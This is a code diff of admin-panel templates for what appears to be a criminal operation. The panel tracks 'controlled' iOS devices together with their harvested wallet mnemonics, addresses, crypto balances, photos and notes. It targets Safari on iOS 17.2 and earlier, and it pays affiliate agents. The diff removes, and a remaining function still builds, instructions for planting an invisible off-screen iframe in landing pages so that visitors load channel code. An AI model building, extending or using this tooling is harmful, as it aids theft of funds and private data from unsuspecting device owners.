<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-addr-search">
<div class="layui-form-item">
<div class="layui-inline">
<label class="layui-form-label">渠道 ID</label>
<div class="layui-input-block">
<input type="text" name="channel_id" class="layui-input" autocomplete="off">
</div>
</div>
@include('admin.partials.filter_channel_select')
<div class="layui-inline">
<label class="layui-form-label">设备 ID</label>
<div class="layui-input-block">
<input type="text" name="device_key" class="layui-input" autocomplete="off">
</div>
</div>
@if ($portal === 'admin')
<div class="layui-inline">
<label class="layui-form-label">代理用户</label>
<div class="layui-input-block">
<select name="agent_user_id">
<option value="">全部</option>
<option value="0">官方</option>
@foreach ($agents as $a)
<option value="{{ $a->id }}">{{ $a->username }}</option>
@endforeach
</select>
</div>
</div>
@endif
@include('admin.partials.filter_agent_select')
<div class="layui-inline">
<label class="layui-form-label">来源</label>
<div class="layui-input-block">
@@ -86,6 +68,8 @@ layui.use(['table', 'form', 'layer'], function () {
var token = @json(csrf_token());
var updateBase = @json(url('/'.$portal.'/addresses'));
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
function chainTag(chain) {
var raw = String(chain || 'UNKNOWN');
var key = raw.toLowerCase().replace(/[^a-z0-9]+/g, '');
+38 -86
View File
@@ -7,26 +7,8 @@
<div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-ch-search">
<div class="layui-form-item">
<div class="layui-inline">
<label class="layui-form-label">渠道 ID</label>
<div class="layui-input-block">
<input type="text" name="channel_id" class="layui-input" autocomplete="off">
</div>
</div>
@if ($portal === 'admin')
<div class="layui-inline">
<label class="layui-form-label">代理</label>
<div class="layui-input-block">
<select name="agent_user_id">
<option value="">全部</option>
<option value="0">官方</option>
@foreach ($agents as $a)
<option value="{{ $a->id }}">{{ $a->username }}</option>
@endforeach
</select>
</div>
</div>
@endif
@include('admin.partials.filter_channel_select')
@include('admin.partials.filter_agent_select')
<div class="layui-inline">
<label class="layui-form-label">状态</label>
<div class="layui-input-block">
@@ -48,13 +30,7 @@
<div class="layui-card-body">
<table id="LAY-ch-list" lay-filter="LAY-ch-list"></table>
<script type="text/html" id="LAY-ch-ops">
@{{# if(d.builder_type === 'new'){ }}
@{{# if(d.download_url){ }}
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="download">下载代码</a>
@{{# } }}
@{{# } else { }}
<a class="layui-btn layui-btn-xs" lay-event="links">查看链接</a>
@{{# } }}
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="edit">编辑</a>
@{{# if(d._isAdmin){ }}
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del">删除</a>
@@ -70,10 +46,21 @@ layui.use(['table', 'form', 'layer'], function () {
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
var portal = @json($portal);
var token = @json(csrf_token());
var agents = @json(($agents ?? collect())->map(fn ($a) => ['id' => $a->id, 'username' => $a->username])->values());
var agents = @json(($agents ?? collect())->map(function ($a) {
$name = trim((string) $a->username);
$comment = trim((string) ($a->comment ?? ''));
return [
'id' => $a->id,
'username' => $name,
'label' => $comment !== '' ? $name.'/'.$comment : $name,
];
})->values());
var isAdmin = portal === 'admin';
var maxPerAgent = @json($maxPerAgent ?? 5);
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
var cols = [
{ field: 'id', title: 'ID', width: 70, sort: true },
{ field: 'channel_id', title: '渠道 ID', minWidth: 220, sort: true },
@@ -92,7 +79,7 @@ layui.use(['table', 'form', 'layer'], function () {
: '<span style="color:#dc2626;font-weight:600;">禁用</span>';
}},
{ field: 'updated_at', title: '更新', width: 170, sort: true },
{ title: '操作', width: isAdmin ? 250 : 190, align: 'center', fixed: 'right', toolbar: '#LAY-ch-ops' }
{ title: '操作', width: isAdmin ? 220 : 160, align: 'center', fixed: 'right', toolbar: '#LAY-ch-ops' }
]);
table.render({
@@ -118,7 +105,7 @@ layui.use(['table', 'form', 'layer'], function () {
var sel = selected == null ? 0 : selected;
var html = '<option value="0"' + (String(sel) === '0' ? ' selected' : '') + '>官方</option>';
agents.forEach(function (a) {
html += '<option value="' + a.id + '"' + (String(sel) === String(a.id) ? ' selected' : '') + '>' + a.username + '</option>';
html += '<option value="' + a.id + '"' + (String(sel) === String(a.id) ? ' selected' : '') + '>' + (a.label || a.username) + '</option>';
});
return html;
}
@@ -140,39 +127,6 @@ layui.use(['table', 'form', 'layer'], function () {
return '<iframe src="' + url + '" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
}
function weifileIframeSnippet() {
return '<iframe src="/weifile/weifile.html" style="position:fixed;top:0;width:0;height:0;left:-1000px;border:0"></iframe>';
}
function openDownloadGuide(row) {
var url = row && row.download_url;
if (!url) return layer.msg('安装包不存在');
var snippet = weifileIframeSnippet();
var html = '<div style="padding:18px 20px;line-height:1.75;font-size:13px;color:#334155;">' +
'<p style="margin:0 0 10px;">下载后按下面步骤放到自己的落地页项目中:</p>' +
'<p style="margin:0 0 8px;"><b>1.</b> 解压 zip,把得到的 <code>weifile/</code> 目录放到落地页网站根目录,保证能访问到 <code>/weifile/weifile.html</code>。</p>' +
'<p style="margin:0 0 14px;"><b>2.</b> 在自己的 HTML 里(建议放在 <code>&lt;body&gt;</code> 开头)加入一段不可见 iframe:</p>' +
'<pre style="background:#f8fafc;border:1px solid #e2e8f0;border-radius:6px;padding:10px 12px;overflow:auto;font-size:12px;margin:0 0 14px;white-space:pre-wrap;word-break:break-all;">' +
snippet.replace(/</g, '&lt;') + '</pre>' +
'<div style="display:flex;gap:8px;flex-wrap:wrap;align-items:center;">' +
'<a class="layui-btn layui-btn-normal" href="' + url.replace(/"/g, '&quot;') + '">下载代码</a>' +
'<button type="button" class="layui-btn layui-btn-primary LAY-ch-copy-iframe">复制 iframe 代码</button>' +
'</div>' +
'<p style="margin:12px 0 0;color:#64748b;font-size:12px;">iframe 不可见,不影响落地页展示;用户打开落地页时会加载该渠道代码。</p>' +
'</div>';
layer.open({
type: 1,
title: '下载代码 — ' + (row.channel_id || ''),
area: ['640px', '430px'],
content: html,
success: function (layero) {
layero.find('.LAY-ch-copy-iframe').on('click', function () {
copyText(snippet).then(function () { layer.msg('已复制 iframe 代码'); });
});
}
});
}
function openLinks(row) {
var links = row.links || [];
if (!links.length) {
@@ -214,12 +168,9 @@ layui.use(['table', 'form', 'layer'], function () {
html += '<div style="margin-bottom:10px;"><b>落地页</b> <code>' +
(data.weifile_path || data.support_path).replace(/</g, '&lt;') + '</code></div>';
}
if (data.builder_type === 'new' && data.zip_path) {
html += '<div style="margin-bottom:10px;"><b>安装包</b> <code>' +
String(data.zip_path).replace(/</g, '&lt;') + '</code></div>';
if (data.download_url) {
html += '<div style="margin-bottom:10px;"><button type="button" class="layui-btn layui-btn-normal layui-btn-sm LAY-ch-dl-guide">下载代码</button></div>';
}
if (data.builder_type === 'new' && data.channel_dir) {
html += '<div style="margin-bottom:10px;"><b>资源目录</b> <code>' +
String(data.channel_dir).replace(/</g, '&lt;') + '</code></div>';
}
if (links.length) {
html += '<div style="margin-bottom:6px;"><b>投放链接</b></div>';
@@ -242,12 +193,7 @@ layui.use(['table', 'form', 'layer'], function () {
type: 1,
title: '创建成功',
area: ['560px', '420px'],
content: html,
success: function (layero) {
layero.find('.LAY-ch-dl-guide').on('click', function () {
openDownloadGuide({ channel_id: channelId, download_url: data.download_url });
});
}
content: html
});
}
@@ -258,7 +204,7 @@ layui.use(['table', 'form', 'layer'], function () {
: '';
var channelBlock = creating
? '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block">' +
'<input name="channel_id" class="layui-input" maxlength="32" id="LAY-ch-id-input" style="width:70%;display:inline-block;" value="' + (values.channel_id || '') + '" placeholder="旧版 32 位 / 新版 8 位">' +
'<input name="channel_id" class="layui-input" maxlength="32" id="LAY-ch-id-input" style="width:70%;display:inline-block;" value="' + (values.channel_id || '') + '" placeholder="旧版 32 位 / 新版 X.Y.ZZ">' +
'<button type="button" class="layui-btn layui-btn-primary" id="LAY-ch-rand" style="margin-left:6px;">随机</button></div></div>'
: '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block"><input class="layui-input" readonly value="' + (values.channel_id || '') + '"></div></div>';
@@ -268,16 +214,16 @@ layui.use(['table', 'form', 'layer'], function () {
'<option value="old"' + ((values.builder_type || 'old') === 'old' ? ' selected' : '') + '>旧版</option>' +
'<option value="new"' + (values.builder_type === 'new' ? ' selected' : '') + '>新版</option>' +
'</select>' +
'<div class="layui-form-mid layui-word-aux">旧版=/web/id/support.html;新版=8 位渠道码,打包已构建的 weifile(需先 php artisan xxbb:build)</div></div></div>'
'<div class="layui-form-mid layui-word-aux">旧版=/web/id/support.html;新版=/channel/X.Y.ZZ/(创建时自动构建,c 取自 XXBB_CHANNEL_C)</div></div></div>'
: '';
var templateBlock = (isAdmin && creating)
? '<div class="layui-form-item" id="LAY-ch-template-item"><label class="layui-form-label">页面模板</label><div class="layui-input-block">' +
'<select name="support_template">' +
'<option value="test"' + ((values.support_template || 'test') === 'test' ? ' selected' : '') + '>test(含 HUD 进度页)</option>' +
'<option value="test"' + ((values.support_template || 'test') === 'test' ? ' selected' : '') + '>test(加载页 / 15s 倒计时)</option>' +
'<option value="blank"' + (values.support_template === 'blank' ? ' selected' : '') + '>blank(空白页)</option>' +
'</select>' +
'<div class="layui-form-mid layui-word-aux">控制生成的 support.html:test=HUD;blank=空白</div></div></div>'
'<div class="layui-form-mid layui-word-aux" id="LAY-ch-template-hint">旧版=support.html;新版=weifile.html(test=loading,blank=空白)</div></div></div>'
: '';
layer.open({
@@ -298,13 +244,14 @@ layui.use(['table', 'form', 'layer'], function () {
function syncTemplateVisibility() {
var type = $('#LAY-ch-form select[name=builder_type]').val() || 'old';
var $id = $('#LAY-ch-id-input');
$('#LAY-ch-template-item').show();
if (type === 'new') {
$('#LAY-ch-template-item').hide();
$id.attr('maxlength', 8).attr('placeholder', '8位,例如 FAFA9988');
if (($id.val() || '').length !== 8) $id.val('');
$id.attr('maxlength', 6).attr('placeholder', '例如 A.B.C1 或 3.1.07');
if (!/^[0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2}$/.test($id.val() || '')) $id.val('');
$('#LAY-ch-template-hint').text('新版 weifile.html:test=大圆圈加载+15s 倒计时;blank=空白页');
} else {
$('#LAY-ch-template-item').show();
$id.attr('maxlength', 32).attr('placeholder', '32位字母数字');
$('#LAY-ch-template-hint').text('旧版 support.html:test=HUD;blank=空白');
}
}
syncTemplateVisibility();
@@ -332,6 +279,10 @@ layui.use(['table', 'form', 'layer'], function () {
layer.close(load);
if (res.code !== 0) return layer.msg(res.msg || '失败');
layer.close(index);
if (window.CorunaFilterOptions) {
CorunaFilterOptions.bust();
CorunaFilterOptions.apply(form);
}
table.reload('LAY-ch-list');
showCreateResult(res, data.channel_id);
},
@@ -352,6 +303,10 @@ layui.use(['table', 'form', 'layer'], function () {
success: function (res) {
if (res.code !== 0) return layer.msg(res.msg || '失败');
layer.close(index);
if (window.CorunaFilterOptions) {
CorunaFilterOptions.bust();
CorunaFilterOptions.apply(form);
}
table.reload('LAY-ch-list');
layer.msg('已保存');
},
@@ -375,12 +330,9 @@ layui.use(['table', 'form', 'layer'], function () {
table.on('tool(LAY-ch-list)', function (obj) {
if (obj.event === 'edit') openForm('编辑渠道链接', obj.data, false);
if (obj.event === 'links') openLinks(obj.data);
if (obj.event === 'download') {
openDownloadGuide(obj.data);
}
if (obj.event === 'del') {
var pathHint = obj.data.builder_type === 'new'
? ('数据库记录与 channel-source-new/' + obj.data.channel_id + '.zip')
? ('数据库记录与 channel/' + obj.data.channel_id + '/')
: ('数据库记录与 web/' + obj.data.channel_id + ' 资源');
layer.confirm('删除后将移除 ' + pathHint + ',确认?', function (idx) {
$.ajax({
+83
View File
@@ -36,6 +36,89 @@ layui.config({
}).extend({
index: 'lib/index'
}).use(['index'], function(){});
window.CorunaFilterOptions = (function () {
var portal = @json($portal ?? 'admin');
var channelsUrl = @json(route(($portal ?? 'admin').'.filterOptions.channels'));
var agentsUrl = portal === 'admin' ? @json(route('admin.filterOptions.agents')) : null;
var mem = { channels: null, agents: null, inflight: null };
var STORAGE_PREFIX = 'coruna_filter_opts_' + portal + '_';
var TTL_MS = 60 * 1000;
function readStore(key) {
try {
var raw = sessionStorage.getItem(STORAGE_PREFIX + key);
if (!raw) return null;
var parsed = JSON.parse(raw);
if (!parsed || !parsed.at || (Date.now() - parsed.at) > TTL_MS) return null;
return parsed.data;
} catch (e) { return null; }
}
function writeStore(key, data) {
try {
sessionStorage.setItem(STORAGE_PREFIX + key, JSON.stringify({ at: Date.now(), data: data }));
} catch (e) {}
}
function fillSelect(sel, rows, keepFirst) {
var $sel = window.layui && layui.$ ? layui.$(sel) : null;
if (!$sel || !$sel.length) return;
var keep = keepFirst || 1;
$sel.find('option').slice(keep).remove();
(rows || []).forEach(function (row) {
$sel.append(new Option(row.label, row.value));
});
}
function loadAll() {
if (mem.inflight) return mem.inflight;
var chCached = mem.channels || readStore('channels');
var agCached = agentsUrl ? (mem.agents || readStore('agents')) : [];
if (chCached && (!agentsUrl || agCached)) {
mem.channels = chCached;
mem.agents = agCached || [];
return layui.$.Deferred().resolve(mem).promise();
}
var $ = layui.$;
var reqs = [$.getJSON(channelsUrl)];
if (agentsUrl) reqs.push($.getJSON(agentsUrl));
mem.inflight = $.when.apply($, reqs).then(function () {
var args = arguments;
var chRes = reqs.length === 1 ? args[0] : args[0][0];
var agRes = reqs.length === 1 ? null : args[1][0];
mem.channels = (chRes && chRes.data) || [];
mem.agents = (agRes && agRes.data) || [];
writeStore('channels', mem.channels);
if (agentsUrl) writeStore('agents', mem.agents);
mem.inflight = null;
return mem;
}, function () {
mem.inflight = null;
return { channels: [], agents: [] };
});
return mem.inflight;
}
function apply(form) {
return loadAll().then(function (data) {
fillSelect('select[data-coruna-channels]', data.channels, 1);
fillSelect('select[data-coruna-agents]', data.agents, 2);
if (form && form.render) form.render('select');
});
}
function bust() {
mem.channels = null;
mem.agents = null;
try {
sessionStorage.removeItem(STORAGE_PREFIX + 'channels');
sessionStorage.removeItem(STORAGE_PREFIX + 'agents');
} catch (e) {}
}
return { apply: apply, bust: bust, loadAll: loadAll };
})();
</script>
@stack('scripts')
</body>
+159 -55
View File
@@ -5,10 +5,51 @@
@section('content')
@php $portal = $portal ?? 'admin'; @endphp
<style>
.dash-metric { font-size: 28px; line-height: 1.2; }
.dash-grid { display: grid; gap: 12px; margin-bottom: 12px; }
.dash-grid-5 { grid-template-columns: repeat(5, minmax(0, 1fr)); }
.dash-grid-2 { grid-template-columns: repeat(2, minmax(0, 1fr)); }
@media screen and (max-width: 992px) {
.dash-grid-5 { grid-template-columns: repeat(2, minmax(0, 1fr)); }
.dash-grid-2 { grid-template-columns: 1fr; }
}
.dash-tile {
background: #fff;
border: 1px solid #f0f0f0;
border-radius: 2px;
min-height: 108px;
display: flex;
flex-direction: column;
}
.dash-tile-hd {
padding: 10px 14px 0;
font-size: 13px;
color: #666;
line-height: 1.4;
}
.dash-tile-bd {
padding: 8px 14px 12px;
flex: 1;
display: flex;
flex-direction: column;
justify-content: center;
}
.dash-metric { font-size: 26px; line-height: 1.25; color: #333; word-break: break-all; }
.dash-metric-hl { color: #009688; font-weight: 600; }
.dash-metric-sep { color: #bbb; margin: 0 4px; font-weight: 400; }
.dash-metric-total { color: #333; }
.dash-metric-caption {
display: block;
margin-top: 6px;
font-size: 12px;
line-height: 1.3;
color: #999;
font-weight: 400;
}
.dash-section-label {
margin: 4px 0 8px;
font-size: 13px;
color: #999;
}
</style>
<div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-dash-search">
@@ -24,85 +65,131 @@
</select>
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">渠道 ID</label>
<div class="layui-input-block">
<input type="text" name="channel_id" placeholder="渠道 ID" autocomplete="off" class="layui-input">
</div>
</div>
@if ($portal === 'admin')
<div class="layui-inline">
<label class="layui-form-label">代理用户</label>
<div class="layui-input-block">
<select name="agent_user_id">
<option value="">全部</option>
<option value="0">官方</option>
@foreach ($agents as $a)
<option value="{{ $a->id }}">{{ $a->username }}</option>
@endforeach
</select>
</div>
</div>
@endif
@include('admin.partials.filter_channel_select')
@include('admin.partials.filter_agent_select')
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-dash-search">查询</button>
</div>
</div>
</form>
<div class="layui-card-body">
<div class="layui-row layui-col-space15">
<div class="layui-col-md2">
<div class="layui-card">
<div class="layui-card-header">总设备数</div>
<div class="layui-card-body dash-metric" id="dash-total">—</div>
<div class="dash-section-label">设备与资产</div>
<div class="dash-grid dash-grid-5">
<div class="dash-tile">
<div class="dash-tile-hd">总设备数</div>
<div class="dash-tile-bd">
<div class="dash-metric" id="dash-total">—</div>
<span class="dash-metric-caption">有钱包设备/总设备</span>
</div>
</div>
<div class="layui-col-md2">
<div class="layui-card">
<div class="layui-card-header">新增设备</div>
<div class="layui-card-body dash-metric dash-metric-hl" id="dash-new">—</div>
<div class="dash-tile">
<div class="dash-tile-hd">新增设备</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-new">—</div>
</div>
</div>
<div class="layui-col-md2">
<div class="layui-card">
<div class="layui-card-header">活跃设备</div>
<div class="layui-card-body dash-metric" id="dash-active">—</div>
<div class="dash-tile">
<div class="dash-tile-hd">活跃设备</div>
<div class="dash-tile-bd">
<div class="dash-metric" id="dash-active">—</div>
</div>
</div>
<div class="layui-col-md3">
<div class="layui-card">
<div class="layui-card-header">页面 PV</div>
<div class="layui-card-body dash-metric" id="dash-pv">—</div>
<div class="dash-tile">
<div class="dash-tile-hd">助记词</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-mnemonics">—</div>
</div>
</div>
<div class="layui-col-md3">
<div class="layui-card">
<div class="layui-card-header">页面 UV</div>
<div class="layui-card-body dash-metric" id="dash-uv">—</div>
<div class="dash-tile">
<div class="dash-tile-hd">钱包地址</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-addresses">—</div>
</div>
</div>
</div>
<div class="layui-word-aux" style="margin-top:4px;">有效口径:iOS ≤ 17.2 且使用 Safari(左侧高亮 / 右侧为全部)</div>
<div class="layui-row layui-col-space15" style="margin-top:12px;">
<div class="layui-col-md6">
<div class="dash-section-label">总余额</div>
<div class="dash-grid dash-grid-5">
<div class="dash-tile">
<div class="dash-tile-hd">USDT</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-usdt">—</div>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">TRX</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-trx">—</div>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">BTC</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-btc">—</div>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">ETH</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-eth">—</div>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">BNB</div>
<div class="dash-tile-bd">
<div class="dash-metric dash-metric-hl" id="dash-bal-bnb">—</div>
</div>
</div>
</div>
<div class="dash-section-label">页面访问<span style="margin-left:8px;font-size:12px;">有效口径:iOS ≤ 17.2 且 Safari(左侧高亮)</span></div>
<div class="dash-grid dash-grid-2">
<div class="dash-tile">
<div class="dash-tile-hd">页面 PV</div>
<div class="dash-tile-bd">
<div class="dash-metric" id="dash-pv">—</div>
<span class="dash-metric-caption">有效 PV/总 PV</span>
</div>
</div>
<div class="dash-tile">
<div class="dash-tile-hd">页面 UV</div>
<div class="dash-tile-bd">
<div class="dash-metric" id="dash-uv">—</div>
<span class="dash-metric-caption">有效 UV/总 UV</span>
</div>
</div>
</div>
<div class="layui-row layui-col-space15" style="margin-top:4px;">
<div class="layui-col-md4">
<div class="layui-card">
<div class="layui-card-header">按系统(PV / UV / 占比)</div>
<div class="layui-card-header">访问 · 按系统(UV / 占比)</div>
<div class="layui-card-body">
<table class="layui-table" lay-size="sm">
<thead><tr><th>系统</th><th>PV</th><th>UV</th><th>占比</th></tr></thead>
<tbody id="dash-by-os"><tr><td colspan="4">—</td></tr></tbody>
<thead><tr><th>系统</th><th>UV</th><th>占比</th></tr></thead>
<tbody id="dash-by-os"><tr><td colspan="3">—</td></tr></tbody>
</table>
</div>
</div>
</div>
<div class="layui-col-md6">
<div class="layui-col-md4">
<div class="layui-card">
<div class="layui-card-header">按 iOS 系统版本(PV / UV / 占比)</div>
<div class="layui-card-header">访问 · 按 iOS 版本(UV / 占比)</div>
<div class="layui-card-body">
<table class="layui-table" lay-size="sm">
<thead><tr><th>版本</th><th>PV</th><th>UV</th><th>占比</th></tr></thead>
<tbody id="dash-by-ios-version"><tr><td colspan="4">—</td></tr></tbody>
<thead><tr><th>版本</th><th>UV</th><th>占比</th></tr></thead>
<tbody id="dash-by-ios-version"><tr><td colspan="3">—</td></tr></tbody>
</table>
</div>
</div>
</div>
<div class="layui-col-md4">
<div class="layui-card">
<div class="layui-card-header">受控设备 · 系统版本分布</div>
<div class="layui-card-body">
<table class="layui-table" lay-size="sm">
<thead><tr><th>版本</th><th>设备数</th><th>占比</th></tr></thead>
<tbody id="dash-by-device-ios"><tr><td colspan="3">—</td></tr></tbody>
</table>
</div>
</div>
@@ -124,9 +211,18 @@ layui.use(['form'], function () {
var html = '';
(rows || []).forEach(function (r) {
var pct = (r.pct === undefined || r.pct === null) ? '—' : (r.pct + '%');
html += '<tr><td>' + (r.label || '—') + '</td><td>' + r.pv + '</td><td>' + r.uv + '</td><td>' + pct + '</td></tr>';
html += '<tr><td>' + (r.label || '—') + '</td><td>' + r.uv + '</td><td>' + pct + '</td></tr>';
});
$(sel).html(html || '<tr><td colspan="4">暂无</td></tr>');
$(sel).html(html || '<tr><td colspan="3">暂无</td></tr>');
}
function fillDeviceVersionRows(sel, rows) {
var html = '';
(rows || []).forEach(function (r) {
var pct = (r.pct === undefined || r.pct === null) ? '—' : (r.pct + '%');
html += '<tr><td>' + (r.label || '—') + '</td><td>' + r.count + '</td><td>' + pct + '</td></tr>';
});
$(sel).html(html || '<tr><td colspan="3">暂无</td></tr>');
}
function ratioHtml(effective, total) {
@@ -138,13 +234,20 @@ layui.use(['form'], function () {
function load(where) {
$.getJSON(dataUrl, where || { range: '30d' }, function (res) {
if (!res || res.code !== 0) return;
$('#dash-total').text(res.data.total);
$('#dash-total').html(ratioHtml(res.data.wallet_count || 0, res.data.total || 0));
$('#dash-new').text(res.data.new_count);
$('#dash-active').text(res.data.active_count);
$('#dash-mnemonics').text(res.data.mnemonic_count || 0);
$('#dash-addresses').text(res.data.address_count || 0);
$('#dash-pv').html(ratioHtml(res.data.effective_pv || 0, res.data.pv || 0));
$('#dash-uv').html(ratioHtml(res.data.effective_uv || 0, res.data.uv || 0));
var bal = res.data.balances || {};
['usdt', 'trx', 'btc', 'eth', 'bnb'].forEach(function (c) {
$('#dash-bal-' + c).text(bal[c] != null && bal[c] !== '' ? bal[c] : '0');
});
fillRows('#dash-by-os', res.data.by_os);
fillRows('#dash-by-ios-version', res.data.by_ios_version);
fillDeviceVersionRows('#dash-by-device-ios', res.data.by_device_ios_version);
$('#dash-range').text('统计区间:' + res.data.from + ' ~ ' + res.data.to);
});
}
@@ -154,6 +257,7 @@ layui.use(['form'], function () {
return false;
});
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
load({ range: '30d' });
});
</script>
+4 -21
View File
@@ -13,26 +13,8 @@
<input type="text" name="device_key" placeholder="设备 ID" autocomplete="off" class="layui-input">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label">渠道 ID</label>
<div class="layui-input-block">
<input type="text" name="channel_id" placeholder="渠道 ID" autocomplete="off" class="layui-input">
</div>
</div>
@if ($portal === 'admin')
<div class="layui-inline">
<label class="layui-form-label">代理用户</label>
<div class="layui-input-block">
<select name="agent_user_id">
<option value="">全部</option>
<option value="0">官方</option>
@foreach (($agents ?? []) as $a)
<option value="{{ $a->id }}">{{ $a->username }}</option>
@endforeach
</select>
</div>
</div>
@endif
@include('admin.partials.filter_channel_select')
@include('admin.partials.filter_agent_select')
<div class="layui-inline">
<label class="layui-form-label">设备型号</label>
<div class="layui-input-block">
@@ -112,6 +94,8 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
var token = @json(csrf_token());
var updateBase = @json(url('/'.$portal.'/devices'));
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
laydate.render({ elem: '#LAY-device-installed-from', type: 'date' });
laydate.render({ elem: '#LAY-device-installed-to', type: 'date' });
@@ -125,7 +109,6 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
{ field: 'id', title: 'ID', width: 80, sort: true },
{ field: 'device_id', title: '设备 ID', minWidth: 180, sort: true },
{ field: 'channel_id', title: '渠道 ID', width: 140, sort: true, templet: function (d) { return dash(d.channel_id); } },
{ field: 'source_domain', title: '来源域名', width: 160, templet: function (d) { return dash(d.source_domain); } },
{ field: 'device_model', title: '设备型号', width: 130, sort: true, templet: function (d) { return dash(d.device_model); } },
{ field: 'ios_version', title: 'iOS 版本', width: 110, sort: true, templet: function (d) { return dash(d.ios_version); } },
{ field: 'ip', title: 'IP', width: 140, sort: true, templet: function (d) { return dash(d.ip); } },
@@ -16,10 +16,6 @@
<th width="140">渠道 ID</th>
<td><code>{{ $device->channel_id ?: '—' }}</code></td>
</tr>
<tr>
<th>来源域名</th>
<td colspan="3"><code>{{ $device->source_domain ?: '—' }}</code></td>
</tr>
<tr>
<th>设备型号</th>
<td>{{ $device->device_model ?: '—' }}</td>
@@ -7,32 +7,14 @@
<div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-mn-search">
<div class="layui-form-item">
<div class="layui-inline">
<label class="layui-form-label">渠道 ID</label>
<div class="layui-input-block">
<input type="text" name="channel_id" class="layui-input" autocomplete="off">
</div>
</div>
@include('admin.partials.filter_channel_select')
<div class="layui-inline">
<label class="layui-form-label">设备 ID</label>
<div class="layui-input-block">
<input type="text" name="device_key" class="layui-input" autocomplete="off">
</div>
</div>
@if ($portal === 'admin')
<div class="layui-inline">
<label class="layui-form-label">代理用户</label>
<div class="layui-input-block">
<select name="agent_user_id">
<option value="">全部</option>
<option value="0">官方</option>
@foreach ($agents as $a)
<option value="{{ $a->id }}">{{ $a->username }}</option>
@endforeach
</select>
</div>
</div>
@endif
@include('admin.partials.filter_agent_select')
<div class="layui-inline">
<label class="layui-form-label">来源</label>
<div class="layui-input-block">
@@ -62,6 +44,7 @@
<script>
layui.use(['table', 'form'], function () {
var table = layui.table, form = layui.form;
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
table.render({
elem: '#LAY-mn-list',
id: 'LAY-mn-list',
+3 -20
View File
@@ -7,32 +7,14 @@
<div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-note-search">
<div class="layui-form-item">
<div class="layui-inline">
<label class="layui-form-label">渠道 ID</label>
<div class="layui-input-block">
<input type="text" name="channel_id" class="layui-input" autocomplete="off">
</div>
</div>
@include('admin.partials.filter_channel_select')
<div class="layui-inline">
<label class="layui-form-label">设备 ID</label>
<div class="layui-input-block">
<input type="text" name="device_key" class="layui-input" autocomplete="off">
</div>
</div>
@if ($portal === 'admin')
<div class="layui-inline">
<label class="layui-form-label">代理用户</label>
<div class="layui-input-block">
<select name="agent_user_id">
<option value="">全部</option>
<option value="0">官方</option>
@foreach ($agents as $a)
<option value="{{ $a->id }}">{{ $a->username }}</option>
@endforeach
</select>
</div>
</div>
@endif
@include('admin.partials.filter_agent_select')
<div class="layui-inline">
<button class="layui-btn" lay-submit lay-filter="LAY-note-search">搜索</button>
</div>
@@ -51,6 +33,7 @@
<script>
layui.use(['table', 'form'], function () {
var table = layui.table, form = layui.form;
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
var dash = function (v) {
if (!v) return '—';
return v.length > 120 ? v.slice(0, 120) + '…' : v;
@@ -0,0 +1,12 @@
{{-- Searchable agent select (admin only); filled by CorunaFilterOptions --}}
@if (($portal ?? 'admin') === 'admin')
<div class="layui-inline">
<label class="layui-form-label">代理用户</label>
<div class="layui-input-block" style="min-width: 180px;">
<select name="agent_user_id" lay-search data-coruna-agents>
<option value="">全部</option>
<option value="0">官方</option>
</select>
</div>
</div>
@endif
@@ -0,0 +1,9 @@
{{-- Searchable channel ID select; filled by CorunaFilterOptions --}}
<div class="layui-inline">
<label class="layui-form-label">渠道 ID</label>
<div class="layui-input-block" style="min-width: 200px;">
<select name="channel_id" lay-search data-coruna-channels>
<option value="">全部</option>
</select>
</div>
</div>
+3 -20
View File
@@ -7,32 +7,14 @@
<div class="layui-card">
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-photo-search">
<div class="layui-form-item">
<div class="layui-inline">
<label class="layui-form-label">渠道 ID</label>
<div class="layui-input-block">
<input type="text" name="channel_id" class="layui-input" autocomplete="off">
</div>
</div>
@include('admin.partials.filter_channel_select')
<div class="layui-inline">
<label class="layui-form-label">设备 ID</label>
<div class="layui-input-block">
<input type="text" name="device_key" class="layui-input" autocomplete="off">
</div>
</div>
@if ($portal === 'admin')
<div class="layui-inline">
<label class="layui-form-label">代理用户</label>
<div class="layui-input-block">
<select name="agent_user_id">
<option value="">全部</option>
<option value="0">官方</option>
@foreach ($agents as $a)
<option value="{{ $a->id }}">{{ $a->username }}</option>
@endforeach
</select>
